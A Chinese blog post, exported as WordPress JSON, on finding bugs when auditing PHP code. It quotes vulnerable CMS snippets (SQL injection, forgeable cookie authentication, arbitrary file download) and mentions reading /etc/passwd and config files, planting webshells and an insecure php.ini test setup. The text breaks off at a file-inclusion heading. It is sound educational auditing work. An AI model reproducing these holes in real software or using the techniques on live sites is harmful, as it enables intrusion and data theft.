{"id":470,"date":"2014-07-08T02:05:26","date_gmt":"2014-07-08T02:05:26","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=470"},"modified":"2017-11-10T15:50:19","modified_gmt":"2017-11-10T07:50:19","slug":"php%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%e5%ad%a6%e4%b9%a0bak","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/470.html","title":{"rendered":"PHP\u6f0f\u6d1e\u6316\u6398\u5b66\u4e60[bak]"},"content":{"rendered":"<p>\u4e4b\u524d\u5728\u7528shell\u811a\u672c\u6279\u91cf\u83b7\u53d6drops\u4e0a\u7684\u6587\u7ae0\u65f6\u6709\u51e0\u7bc7\u662f\u5173\u4e8ePHP\u6f0f\u6d1e\u6316\u6398\u7684\uff0c\u7136\u540e\u518d\u52a0\u4e0a\u4e4b\u524d\u78b0\u5230\u7684\u201c\u9ad8\u7ea7PHP\u5e94\u7528\u7a0b\u5e8f\u6f0f\u6d1e\u5ba1\u6838\u6280\u672f\u201d\u6574\u7406\u4e4b\u540e\u653e\u5728\u4e0b\u9762\uff08PS\uff1a\u4ee5\u540e\u8fd8\u662f\u76f4\u63a5\u8bfb\u6293\u53d6\u6765\u7684HTML\u6587\u4ef6\u5427\uff0c\u5bf9\u683c\u5f0f\u7684\u6574\u7406\u771f\u662f\u8981\u4eba\u547d\uff01\uff09\uff1a<\/p>\n<p>\u6700\u8fd1\u7814\u7a76PHP\u6f0f\u6d1e\u7684\u6316\u6398\uff0c\u603b\u7ed3\u4e86\u4e00\u4e9b\u6211\u6316\u5230\u7684\u6f0f\u6d1e\uff0c\u6574\u7406\u4e86\u4e00\u4e0b\u601d\u8def\uff0c\u6c42\u5404\u8def\u795e\u4eba\u8865\u5145\u3001\u6279\u8bc4\u3001\u6307\u5bfc~<\/p>\n<p>\u672c\u6587\u6240\u6709\u793a\u4f8b\u5747\u6765\u81ea\u6211\u5728\u4e4c\u4e91\u4e0a\u5df2\u7531\u5382\u5546\u5141\u8bb8\u516c\u5f00\u7684\u6f0f\u6d1e<\/p>\n<p>\u7531\u4e8e\u662f\u5b9e\u4f8b\u7684\u5206\u6790\uff0c\u57fa\u7840\u77e5\u8bc6\u8bf7\u767e\u5ea6\uff0c\u5c31\u4e0d\u5168\u90fd\u7c98\u8d34\u5230\u524d\u9762\u4e86<\/p>\n<p>0x01: \u641c\u7d22\u6240\u6709\u7684\u7528\u6237\u53ef\u63a7\u53d8\u91cf\uff08GET\/POST\/COOKIE\/referer\uff09<br \/>\n\u539f\u56e0\uff1a<span style=\"color: #ff0000;\">\u6240\u6709\u7528\u6237\u8f93\u5165\u90fd\u662f\u6709\u5bb3\u7684\uff0c\u4ee3\u7801\u5ba1\u8ba1\u6ce8\u91cd\u51fd\u6570\u548c\u53d8\u91cf\uff0c\u5148\u770b\u770b\u5728\u4ec0\u4e48\u5730\u65b9\u4f1a\u6709\u8f93\u5165<\/span><\/p>\n<p>\u53ef\u80fd\u51fa\u73b0\u7684\u573a\u666f\uff1a<\/p>\n<p>a) id=$_GET[&#8216;id&#8217;];<br \/>\n\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898\uff1a<\/p>\n<p>\u65e0\u8fc7\u6ee4\u7684SQL\u6ce8\u5165\uff1a<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-040338\" target=\"_blank\" rel=\"noopener\">WooYun: chshcms \u7a0b\u6c0fCMS V3.0 \u6ce8\u5c04\uff08\u5df2\u5728\u5b98\u65b9\u6f14\u793a\u7ad9\u6d4b\u8bd5\uff09<\/a><\/p>\n<pre class=\"lang:php decode:true\">$id=trim($_GET[\"id\"]);\r\n\/\/\u4e0b\u9762\u76f4\u63a5\u5c31\u8fdb\u67e5\u8be2\u8bed\u53e5\u4e86\r\nif($db-&gt;query(\"update \".Getdbname('dance').\" set CS_TID=\".$tid.\" where cs_user='\".$cscms_name.\"' and<\/pre>\n<p>\u5f53\u7136\uff0c\u8fd9\u662fGET\u4e4b\u540e\u6ca1\u505a\u8fc7\u6ee4\u7684\u60c5\u666f<\/p>\n<p>b) id=intval($_GET[&#8216;id&#8217;]);<br \/>\n\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898\uff1aintval\u5bf9\u5b57\u7b26\u578b\u65e0\u7528\uff0c\u5b57\u7b26\u578b\u53d8\u91cf\u662f\u600e\u4e48\u5904\u7406\u7684\u5462\uff1f<\/p>\n<p>\u5982\u679c\u5b57\u7b26\u578b\u7684addslashes\uff0c<span style=\"color: #ff0000;\">\u6ce8\u610f\u6570\u5b57\u578b\u76f2\u6ce8<\/span>\uff08\u89c1c2\u5206\u6790\uff09<\/p>\n<p>c) $tid=XX_Request(&#8220;tid&#8221;);<br \/>\n\u4f7f\u7528\u81ea\u5df1\u5b9a\u4e49\u7684\u5b89\u5168\u8fc7\u6ee4\u51fd\u6570\u5904\u7406\u53d8\u91cf\uff0c\u5f88\u5e38\u89c1\uff0c\u5f88\u591a\u6846\u67b6\u90fd\u63d0\u4f9b\u4e86\u89e3\u51b3\u65b9\u6848\uff0c\u4e0d\u8fc7\u81ea\u5df1\u5305\u88c5\u4e00\u4e2a\u4e5f\u662f\u5f88\u5e38\u89c1\u7684<\/p>\n<p>\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898\uff1a<\/p>\n<p>c1) \u6709\u6ca1\u6709\u5fd8\u8bb0\u4f7f\u7528\u8fd9\u4e2a\u5904\u7406\u51fd\u6570\uff1f<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-040338\" target=\"_blank\" rel=\"noopener\">WooYun: chshcms \u7a0b\u6c0fCMS V3.0 \u6ce8\u5c04\uff08\u5df2\u5728\u5b98\u65b9\u6f14\u793a\u7ad9\u6d4b\u8bd5\uff09<\/a><\/p>\n<pre class=\"lang:default decode:true\">$tid=CS_Request(\"tid\"); \/\/\u4f7f\u7528\u5b89\u5168\u7684CS_request addslash\r\n$id=trim($_GET[\"id\"]); \/\/\u5475\u5475\u5475\uff0c\u66f2\u9879\u5411\u5929\u6b4c\uff0cCS_Request\u54ed\u4e86\r\n\u5176\u5b9e\u8fd8\u662f\u4e0a\u9762\u90a3\u4e2a\u4f8b\u5b50\uff0c\u81ea\u5df1\u5fd8\u4e86\u7528\u8fd9\u51fd\u6570\u8fc7\u6ee4\u4e86<\/pre>\n<p>c2) \u51fd\u6570\u672c\u8eab\u662f\u5426\u5b89\u5168\uff1f<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-044824\" target=\"_blank\" rel=\"noopener\">WooYun: (\u65b0)\u7a0b\u6c0f\u821e\u66f2CMS \u4e09\u6b65GETSHELL\uff08\u5b9e\u4f8b\u6f14\u793a+\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<pre class=\"lang:default decode:true\">$t_Val = $magic?trim($_GET[$pi_strName]):addslashes(trim($_GET[$pi_strName]));<\/pre>\n<p>\u4f7f\u7528\u4e86addslashes\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u9003\u8131\u5355\u5f15\u53f7\u96be\u5ea6\u52a0\u5927\uff0c\u9700\u8981\u5bfb\u627e\u6ca1\u6709\u5355\u5f15\u53f7\u4fdd\u62a4\u7684\u8bed\u53e5\u6ce8\u5165<\/p>\n<p>addslashes\u53ea\u5904\u7406\u5355\u5f15\u53f7\u548c\u659c\u6760\uff0c\u56e0\u6b64\u65e0\u6cd5\u8fc7\u6ee4\u5f62\u5982 134 and 1=1 \u8fd9\u6837\u7684\u6ce8\u5c04\u8bed\u53e5\uff0c\u8bf7\u81ea\u884c\u767e\u5ea6<span style=\"color: #ff0000;\">\u65e0\u5355\u5f15\u53f7\u76f2\u6ce8<\/span><\/p>\n<p>\u5728\u4e0b\u9762\u7684\u8bed\u53e5\u4e2d\uff0c$cscms_name\u5c31\u662f\u6709\u5355\u5f15\u53f7\u4fdd\u62a4\u7684\uff0c\u800c$id\u662f\u6ca1\u6709\u5355\u5f15\u53f7\u4fdd\u62a4\u7684<\/p>\n<pre class=\"lang:default decode:true\">$db-&gt;query(\"update \".Getdbname('xiaoxi').\" set CS_DID=1 where CS_ID=\".$id.\" and cs_usera='\".$cscms_name.\"'\");<\/pre>\n<p>\u6240\u4ee5id\u5f15\u53d1\u4e86\u76f2\u6ce8<\/p>\n<p>c3) \u8fc7\u6ee4\u51fd\u6570\u80fd\u5426\u6ee1\u8db3\u4e1a\u52a1\u903b\u8f91\u7684\u7279\u6b8a\u9700\u6c42\uff1f<br \/>\n\u8d1f\u6570\u8ba2\u5355\u5566\uff0c\u81ea\u5df1\u4fee\u6539\u81ea\u5df1\u7684\u6295\u7968\u6570\u5566\uff0c\u5404\u79cd\u4e1a\u52a1\u903b\u8f91\u4e0a\u7684\u95ee\u9898\u90fd\u6709\u53ef\u80fd\u53d1\u751f<\/p>\n<p>\u975e\u5e38\u53ef\u60dc\uff0c\u8fd9\u4e2a\u6211\u8fd8\u6ca1\u649e\u89c1\u8fc7\uff0c\u5982\u679c\u4ee5\u540e\u649e\u89c1\u518d\u66f4\u65b0\u5230\u6587\u7ae0\u91cc<\/p>\n<p>d) \u4e0d\u8981\u5fd8\u8bb0\u6211\u4eec\u80fd\u63a7\u5236referer\u7b49\u53d8\u91cf<br \/>\n\u53ef\u80fd\u5b58\u5728\u7684\u95ee\u9898\uff1a<\/p>\n<p>\u867d\u7136\u53d1\u73b0GET\/POST\u90fd\u8fc7\u6ee4\u5904\u7406\u4e86\uff0c\u4f46\u662freferer\u548ccookie\u5bb9\u6613\u88ab\u5ffd\u89c6<\/p>\n<p>$_SERVER[&#8220;HTTP_REFERER&#8221;] \u4f8b\u5b50\uff1a<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-038804\" target=\"_blank\" rel=\"noopener\">WooYun: MacCMS 6.x referer\u5904\u7406\u4e0d\u5f53\u5f15\u53d1\u6ce8\u5c04<\/a><\/p>\n<p>\u5f88\u9057\u61be\uff0c\u8fd9\u4e2a\u622a\u81f3\u4eca\u65e5\u8fd8\u672a\u516c\u5f00\uff0c\u7b49\u516c\u5f00\u4e86\u5927\u5bb6\u518d\u53bb\u770b\u5427<\/p>\n<p>$_COOKIE[&#8216;xxx&#8217;] \u4f8b\u5b50\uff1a<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-041200\" target=\"_blank\" rel=\"noopener\">WooYun: TCCMS\u5168\u7248\u672cCOOKIE\u6ce8\u5165\uff08\u5df2\u6f14\u793a\u8bc1\u660e\uff09<\/a><\/p>\n<p>$sql=&#8221;select password from &#8220;.$_Obj-&gt;table.&#8221; where id=&#8221;.$_COOKIE[&#8216;userId&#8217;];<\/p>\n<p>\u60c5\u51b5\u548cGET\u65f6\u662f\u4e00\u6837\u7684\uff0c\u4e0d\u8fc7\u6ce8\u5165\u65f6\u64cd\u4f5c\u8d77\u6765\u7a0d\u5fae\u9ebb\u70e6\u4e9b\uff0cSQLMAP\u6559\u7a0b\u6211\u5c31\u4e0d\u7c98\u8d34\u5230\u8fd9\u91cc\u4e86\uff0c\u4e0d\u4f1aCOOKIE\u6ce8\u5c04\u7684\u8bf7\u767e\u5ea6<\/p>\n<p>e) \u8fd8\u6709\u5176\u4ed6\u7684\u8f93\u5165\u53d8\u91cf\uff0c\u8bf7\u5404\u8def\u9ad8\u624b\u5e26\u7740\u5b9e\u4f8b\u8865\u5145\uff01<br \/>\n\u76ee\u524d\uff0c\u6211\u4eec\u4e86\u89e3\u4e86\u7a0b\u5e8f\u603b\u4f53\u4e0a\u662f\u5982\u4f55\u5904\u7406\u7528\u6237\u8f93\u5165\u7684<\/p>\n<p>0x02\uff1a\u5355\u72ec\u641c\u7d22$_COOKIE\uff0c\u5206\u6790\u8eab\u4efd\u8ba4\u8bc1\u65f6\u7684\u903b\u8f91<br \/>\n\u539f\u56e0\uff1a\u8eab\u4efd\u9a8c\u8bc1\u5c5e\u4e8e\u4e1a\u52a1\u903b\u8f91\u4e2d\u201c\u9ad8\u5371\u201d\u7684\u90e8\u5206\uff0c\u5927\u90e8\u5206\u7684\u9ad8\u5371\u6f0f\u6d1e\u90fd\u51fa\u5728\u8fd9\u91cc<\/p>\n<p>\u53ef\u80fd\u51fa\u73b0\u7684\u573a\u666f\uff1a<\/p>\n<p>a) \u6ca1\u6709cookie\u5904\u7406\uff0c\u76f4\u63a5\u5168\u662fsession<br \/>\n\u90a3\u5c31\u7b49\u4e4b\u540e\u901a\u8bfb\u4ee3\u7801\u65f6\u76f4\u63a5\u53bb\u8bfb\u8ba4\u8bc1\u7b97\u6cd5\u597d\u5566<\/p>\n<p>b) \u8ba4\u8bc1\u7b97\u6cd5\u4e2d\u5f3a\u5ea6\u592a\u5f31\uff08\u7528\u53ef\u63a7\u7684COOKIE\u7b97\u6765\u7b97\u53bb\uff09\uff0c\u964d\u4f4e\u4e86\u4f2a\u9020\u8eab\u4efd\u7684\u96be\u5ea6<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-044824\" target=\"_blank\" rel=\"noopener\">WooYun: (\u65b0)\u7a0b\u6c0f\u821e\u66f2CMS \u4e09\u6b65GETSHELL\uff08\u5b9e\u4f8b\u6f14\u793a+\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<p>\u7b2c\u4e8c\u6b65\u4f2a\u9020\u8eab\u4efd\u65f6<\/p>\n<pre class=\"lang:default decode:true\">elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){<\/pre>\n<p>\u6709\u4ec0\u4e48\u610f\u4e49\u5462\uff1fCOOKIE\u6211\u4eec\u80fd\u63a7\u5236\uff0c\u5f53\u7136\u4e4b\u540e\u7a0b\u5e8f\u6709\u522b\u7684\u9a8c\u8bc1\uff0c\u8fd9\u91cc\u53ea\u662f\u4e3e\u4f8b\uff0c\u5c31\u8fd9\u4e00\u53e5\u800c\u8a00\u6ca1\u6709\u610f\u4e49<\/p>\n<p>\u5b9e\u9645\u4e0a\u6f0f\u6d1e\u91cc\u8fd9\u4e2aCMS\u8fd9\u4e2a\u7b97\u6cd5\uff0c\u540e\u9762\u53ea\u662f\u5728\u8ba4\u8bc1\u65f6\u6ca1\u6709\u7528\u5230\u5b89\u88c5\u65f6admin\u5199\u6b7b\u5728config\u91cc\u7684\u9a8c\u8bc1\u7801\u800c\u5df2\uff0c\u4e0d\u8fc7\u96be\u5ea6\u5df2\u7ecf\u964d\u4e0b\u6765\u4e86<\/p>\n<p>c) \u76f4\u63a5\u80fd\u7ed5\u8fc7<br \/>\n\u5982\u679c\u60c5\u51b5b \u6ca1\u6709\u5176\u4ed6\u9a8c\u8bc1\u4e86\uff0c\u90a3\u5c31\u7ed5\u8fc7\u4e86<\/p>\n<p>\u76ee\u524d\u6211\u4eec\u53ea\u662f\u9a8c\u8bc1\u4e86\u767b\u9646\u65f6\u7684\u903b\u8f91\uff0c\u4e4b\u540e\u8fd8\u9700\u5206\u6790\u6743\u9650\u7684\u7f1c\u5bc6\u7a0b\u5ea6<\/p>\n<p>0x03\uff1a\u641c\u7d22\u6240\u6709\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\uff0c\u5206\u6790\u5176\u903b\u8f91<br \/>\n\u539f\u56e0\uff1a\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u5c5e\u4e8e\u654f\u611f\u51fd\u6570\uff0c\u5f80\u5f80\u4e1a\u52a1\u903b\u8f91\u4e0a\u7684\u6f0f\u6d1e\u53ef\u80fd\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u64cd\u4f5c<\/p>\n<p>\u53ef\u80fd\u51fa\u73b0\u7684\u573a\u666f\uff1a<\/p>\n<p>a) \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-038800\" target=\"_blank\" rel=\"noopener\">WooYun: appcms \u6700\u65b0\u7248 1.3.708 \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<\/a><\/p>\n<pre class=\"lang:default decode:true\">&lt;?php\r\nif(isset($_GET['url']) &amp;&amp; trim($_GET['url']) != '' &amp;&amp; isset($_GET['type'])) {\r\n  $img_url = base64_decode($_GET['url']);\r\n  $shffix = trim($_GET['type']);\r\n  header(\"Content-Type: image\/{$shffix}\");\r\n  readfile($img_url);\r\n} else {\r\n  die('image not find');\r\n}\r\n?&gt;<\/pre>\n<p>PS\uff1a\u7531\u4e8e\u662f\u4e1a\u52a1\u903b\u8f91\u4e0a\u7684\u95ee\u9898\uff0c\u662f\u6ca1\u529e\u6cd5\u901a\u8fc7\u81ea\u52a8\u626b\u63cf\u53d1\u73b0\u7684\uff0c\u800c\u4e14\u9488\u5bf9SQL\u548cHTML\u7684\u8fc7\u6ee4\u662f\u8d77\u4e0d\u5230\u7279\u5927\u4f5c\u7528\u7684<\/p>\n<p>\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u7684\u6700\u5927\u4f5c\u7528\u662f\u8bfbconfig.php \u548c\u5404\u79cd\u7cfb\u7edf\u7684\u654f\u611f\u6587\u4ef6\uff08\u5982\u4f55\u7206\u7269\u7406\u76ee\u5f55\uff1f\u8bf7\u770b0x04\uff09<\/p>\n<p>b) \u4efb\u610f\u6587\u4ef6\u5199\u5165<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-046603\" target=\"_blank\" rel=\"noopener\">WooYun: CSCMS V3.5 \u6700\u65b0\u7248 \u540e\u53f0\u547d\u4ee4\u6267\u884cGETSHELL\uff08\u6e90\u7801\u8be6\u6790\uff09<\/a><\/p>\n<p>\u53d1\u5e16\u65f6\u4ecd\u672a\u516c\u5f00\uff0c\u6240\u4ee5\u5148\u4e0d\u505a\u5206\u6790\uff0c\u7b49\u516c\u5f00\u540e\u66f4\u65b0~<\/p>\n<p>\u4efb\u610f\u6587\u4ef6\u5199\u5165\u7684\u6700\u5927\u5e94\u7528\u5c31\u662f\u5199\u9a6c\u4e86\uff0c\u6700\u5927\u969c\u788d\u662f\u7ed5\u8fc7\u8fc7\u6ee4\u7684HTML\u5b57\u7b26\u6bd4\u5982\uff1a &lt;&gt;\uff0c\u89e3\u51b3\u65b9\u5f0f\u662f\u5927\u91cf\u5e94\u7528base64<\/p>\n<p>c) \u4efb\u610f\u6587\u4ef6\u5220\u9664<br \/>\n\u5f88\u9057\u61be\uff0c\u8fd8\u6ca1\u649e\u89c1\u8fc7\uff0c\u8981\u662f\u649e\u89c1\u4e00\u4e2a\u8be5\u591a\u597d<\/p>\n<p>\u4efb\u610f\u6587\u4ef6\u5220\u9664\u7684\u4f5c\u7528\u53ef\u4ee5\u662f\u5220\u9664install.lock\uff0c\u7136\u540e\u91cd\u88c5CMS<\/p>\n<p>d) \u5176\u4ed6\u64cd\u4f5c\uff0c\u6c42\u8865\u5145<br \/>\n\u6587\u4ef6\u64cd\u4f5c\u53ef\u4ee5\u7ed3\u5408\u7206\u76ee\u5f55<\/p>\n<p>0x04\uff1a\u7206\u7269\u7406\u76ee\u5f55<br \/>\n\u539f\u56e0\uff1a\u4e0a\u4e00\u5c0f\u8282\u6211\u4eec\u53ef\u80fd\u80fd\u591f\u4efb\u610f\u64cd\u4f5c\u6587\u4ef6\uff0c\u4f46\u6ca1\u62ff\u5230\u7f51\u7ad9\u7684\u7269\u7406\u76ee\u5f55\u5730\u5740\uff0c\u7684\u786e\u53ef\u4ee5\u7528\u9ed1\u76d2\u4e0d\u505c\u5730\u8bd5\u56fe\u8bfb\u53d6 c:boot.ini \u548c \/etc\/passwd \u4e4b\u7c7b\u7684\u6765\u8bd5\u56fe\u5224\u65ad\uff0c\u4f46\u662f\u8fd9\u4e48\u5f04\u5b9e\u5728\u4e0d\u53ef\u9760<\/p>\n<p>\u600e\u4e48\u529e\uff1a\u4f7f\u7528php vulnerability hunter \u81ea\u52a8\u626b\u63cf\u5c31\u597d\u4e86\uff0c\u8fd9\u4e2a\u786e\u5b9e\u53ef\u4ee5\u5077\u61d2\u7528\u5de5\u5177\u626b\u63cf\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u7206\u76ee\u5f55\u5371\u5bb3\u5b9e\u5728\u592a\u4f4e\u4e86\uff0c\u5fc5\u987b\u914d\u5408\u5176\u4ed6\u6f0f\u6d1e\u624d\u6709\u5371\u5bb3\uff0c\u6240\u4ee5\u4e00\u822cCMS\u90fd\u4f1a\u6709\u8fd9\u79cd\u6f0f\u6d1e\uff0c\u6211\u662f\u8bf4\u80fd\u626b\u63cf\u51fa\u6765\u7684\u6f0f\u6d1e<\/p>\n<p><a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-038800\" target=\"_blank\" rel=\"noopener\">WooYun: appcms \u6700\u65b0\u7248 1.3.708 \u4efb\u610f\u6587\u4ef6\u4e0b\u8f7d<\/a><\/p>\n<p>\u5982\u679c\u4f60\u4e0d\u77e5\u9053\u7269\u7406\u8def\u5f84\uff0c\u4f60\u53ef\u4ee5\u8bd5\u7740\u7528\u5de5\u5177\u626b\u63cf\u4e00\u4e0b\uff0c\u7136\u540e\u518d\u8bfb\u53d6<\/p>\n<p>0x05\uff1a\u641c\u7d22eval\uff0cpreg_replace\u4ec0\u4e48\u7684\uff0c\u770b\u770b\u6709\u6ca1\u6709\u547d\u4ee4\u6267\u884c<br \/>\n\u539f\u56e0\uff1a\u80fd\u76f4\u63a5\u6267\u884cPHP\u4ee3\u7801\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u5199\u4e00\u53e5\u8bdd\u6728\u9a6c\u4e86\uff08file_put_contents\uff09\uff0c\u5f53\u7136\uff0c\u8981\u627e\u53ef\u5199\u76ee\u5f55<\/p>\n<p>\u8fd9\u5730\u65b9\u6211\u4e00\u76f4\u6ca1\u80fd\u627e\u5230\u4f8b\u5b50\uff0c\u6ca1\u6709\u4eb2\u81ea\u5b9e\u8df5\u8fc7\uff0c\u6c42\u5404\u8def\u9ad8\u624b\u5e26\u5b9e\u4f8b\u63d0\u4f9b\u51e0\u4e2a\uff1f<\/p>\n<p>0x06\uff1a\u53ef\u4ee5\u5f00\u59cb\u901a\u8bfb\u4ee3\u7801\u4e86\uff0c\u4eceindex\u5f00\u59cb\uff0c\u6ce8\u610f\u7684\u662f\u6570\u636e\u7684\u4f20\u8f93\u548c\u8f93\u51fa\u51fd\u6570<br \/>\n\u539f\u56e0\uff1a\u5e38\u89c1\u6a21\u5f0f\u5316\u7684\u6f0f\u6d1e\u90fd\u4e0d\u5b58\u5728\u7684\u8bdd\uff0c\u5c31\u8981\u5206\u6790\u6574\u4e2a\u7cfb\u7edf\u4e86\uff0c\u56e0\u6b64\u9700\u8981\u5b8c\u5168\u800c\u5f7b\u5e95\u5730\u53bb\u505a\u5ba1\u8ba1\uff0c\u8fd9\u6837\u6bd4\u7ee7\u7eed\u5355\u72ec\u641c\u7d22\u53d8\u91cf\u7136\u540e\u8ddf\u8e2a\u66f4\u52a0\u7701\u529b\u4e00\u4e9b<\/p>\n<p>\u53ef\u80fd\u51fa\u73b0\u7684\u573a\u666f\uff1a<\/p>\n<p>a) \u4e4b\u524d\u7684\u8fc7\u6ee4\u5168\u767d\u8d39\u4e86<br \/>\n<a href=\"http:\/\/www.wooyun.org\/bugs\/wooyun-2013-046585\" target=\"_blank\" rel=\"noopener\">WooYun: YXcms1.2.0\u7248\u672c \u5b58\u50a8\u5f0fXSS\uff08\u5b9e\u7ad9\u6f14\u793a+\u6e90\u7801\u5206\u6790\uff09<\/a><\/p>\n<p>\u6ca1\u516c\u5f00\uff0c\u7b49\u516c\u5f00\u518d\u66f4\u65b0\u6587\u7ae0\uff0c\u8fd9\u662f\u4e00\u4e2a\u5b58\u50a8\u5f0fxss<\/p>\n<p>b) \u4e8c\u6b21\u6ce8\u5165<br \/>\n\u7531\u4e8e\u4e8c\u6b21\u5f00\u53d1\u4e2d\u4ece\u6570\u636e\u5e93\u91cc\u53d6\u51fa\u7684\u503c\u6ca1\u6709\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u6ce8\u5c04\uff0c\u7531\u4e8e\u6ca1\u6709\u76f4\u63a5\u4ece\u7528\u6237\u8f93\u5165\u4e2d\u83b7\u5f97\uff0c\u6240\u4ee5\u4e4b\u524d\u6b65\u9aa4\u5f88\u96be\u53d1\u73b0<\/p>\n<p>\u54ce\u5440\uff0c\u6c42\u5404\u8def\u9ad8\u624b\u63d0\u4f9b\u4e2a\u793a\u4f8b\u5440\uff0c\u6211\u8fd9\u4e2a\u81ea\u5df1\u4e5f\u6ca1\u6709\u78b0\u5230\u8fc7\u4e2b<\/p>\n<p>c) \u5e73\u884c\u6743\u9650\u3001\u4efb\u610f\u6295\u7968\u3001\u8d8a\u6743\u8bbf\u95ee \u7b49\u7b49 \u7b49\u7b49 \u4e00\u5927\u5806<br \/>\n0x07 \u603b\u7ed3<br \/>\n\u76ee\u524d\u6211\u5c31\u77e5\u9053\u8fd9\u4e48\u4e9b\uff0c\u5e0c\u671b\u80fd\u5bf9\u521a\u63a5\u89e6PHP\u4ee3\u7801\u5ba1\u8ba1\u6f0f\u6d1e\u6316\u6398\u7684\u65b0\u624b\u6709\u70b9\u5e2e\u52a9\uff0c\u7531\u4e8e\u6211\u4e5f\u662f\u521a\u5f00\u59cb\u5b66\u4e60PHP\u6f0f\u6d1e\u6316\u6398\u4e0d\u4e45\uff0c\u5e0c\u671b\u5927\u5bb6\u80fd\u5e7f\u6cdb\u63d0\u4f9b\u5b66\u4e60\u7684\u5efa\u8bae\u4ee5\u53ca\u601d\u8def\uff0c\u4e5f\u8bf7\u6279\u8bc4\u6307\u6b63\u6587\u7ae0\u4e2d\u4e0d\u59a5\u4e4b\u5904\uff0c\u66f4\u5e0c\u671b\u9ad8\u624b\u4eec\u80fd\u5e26\u7740\u793a\u4f8b\u6765\u6307\u5bfc\u3002<\/p>\n<p>+++++++++++++++++++++++++++++++++++++++++<\/p>\n<p>0x00 \u80cc\u666f<br \/>\n\u611f\u8c22\u5404\u4f4d\u7684\u8bc4\u8bba\u4e0e\u8ba8\u8bba\uff0c\u7ecf\u8fc7\u7814\u8ba8\u7684\u5730\u65b9\u5728\u6587\u7ae0\u4e2d\u6807\u51fa\u3002<\/p>\n<p>\u5148\u7ffb\u8bd1\u6574\u7406\u4e00\u7bc7\u82f1\u6587paper\uff0c\u540e\u9762\u518d\u586b\u4e0a\u81ea\u5df1\u65b0\u53d1\u73b0\u7684\u4f8b\u5b50\uff0c\u5148\u601d\u8def\u518d\u5b9e\u4f8b O(\u2229_\u2229)O<\/p>\n<p>\u8865\u5145\u4e4b\u524d\u7b2c\u4e00\u7bc7\u6587\u7ae0\u4e2d\u601d\u8def\uff0c\u91cd\u65b0\u52a0\u5165\u4e86\u6700\u8fd1\u53d1\u73b0\u7684\u4e00\u4e9b\u5b9e\u4f8b\uff08\u4e5f\u6709\u90e8\u5206\u6765\u81eawooyun\u4e0a\u7684\u725b\u4eba\u4eec\u5df2\u516c\u5f00\u7684\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u5f52\u5c5e\u539f\u4f5c\u8005\u5e76\u5747\u5728\u6587\u7ae0\u5185\u6807\u660e\uff09<\/p>\n<p>\uff08\u611f\u8c22\u778c\u7761\u9f99\u6307\u5bfc\uff1a\u6ce8\u610f\u5404\u79cd\u6f0f\u6d1e\u7684\u524d\u63d0\u914d\u7f6e\u73af\u5883\uff0c\u5148\u5217\u51fa\u6765\uff0c\u4e4b\u540e\u8be6\u7ec6\u8bf4\uff09<\/p>\n<p>\u5728\u6587\u7ae0\u4e2d\u7684\u6d4b\u8bd5\u6761\u4ef6\u4e0b\uff0c\u6211\u4eec\u7684\u914d\u7f6e\u9ed8\u8ba4\u662f\u8fd9\u6837\u5b50\u7684\uff1a<\/p>\n<pre class=\"lang:default decode:true\">safe_mode = off (\u907f\u514d\u5404\u79cd\u5947\u5947\u602a\u602a\u7684\u5931\u8d25)\r\ndisabled_functions = N\/A ( \u53ef\u4ee5\u4f7f\u7528\u5168\u90e8\u51fd\u6570\uff0c\u514d\u5f97\u83ab\u540d\u5176\u5999\u7684\u4e0d\u80fd\u7528 )\r\nregister_globals = on ( \u6ce8\u518c\u5168\u5c40\u53d8\u91cf )\r\nallow_url_include = on ( \u6587\u4ef6\u5305\u542b\u65f6\u7684\u9650\u5236\uff0c\u5982\u679c\u5173\u4e86\u5c31\u4e0d\u80fd\u8fdc\u7a0b )\r\nallow_url_fopen = on ( \u6587\u4ef6\u6253\u5f00\u7684\u9650\u5236\uff0c\u8fd8\u662f\u5f00\u7740\u5427 )\r\nmagic_quotes_gpc = off ( \u8f6c\u4e49\u5f15\u53f7\u548c\u5212\u7ebf\u548c\u7a7a\u5b57\u7b26\uff0c\u6bd4\u5982\u201d \u53d8\u6210\u201c )\r\nshort_tag_open = on ( \u90e8\u5206\u811a\u672c\u4f1a\u7528\u5230 )\r\nfile_uploads = on ( \u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u9700\u8981\u2026\u2026\u5141\u8bb8\u4e0a\u4f20\u6587\u4ef6 )\r\ndisplay_errors = on ( \u81ea\u5df1\u6d4b\u8bd5\u65f6\u65b9\u4fbf\uff0c\u627e\u9519\u8bef )<\/pre>\n<p>0x01 \u4efb\u610f\u6587\u4ef6\u5305\u542b<br 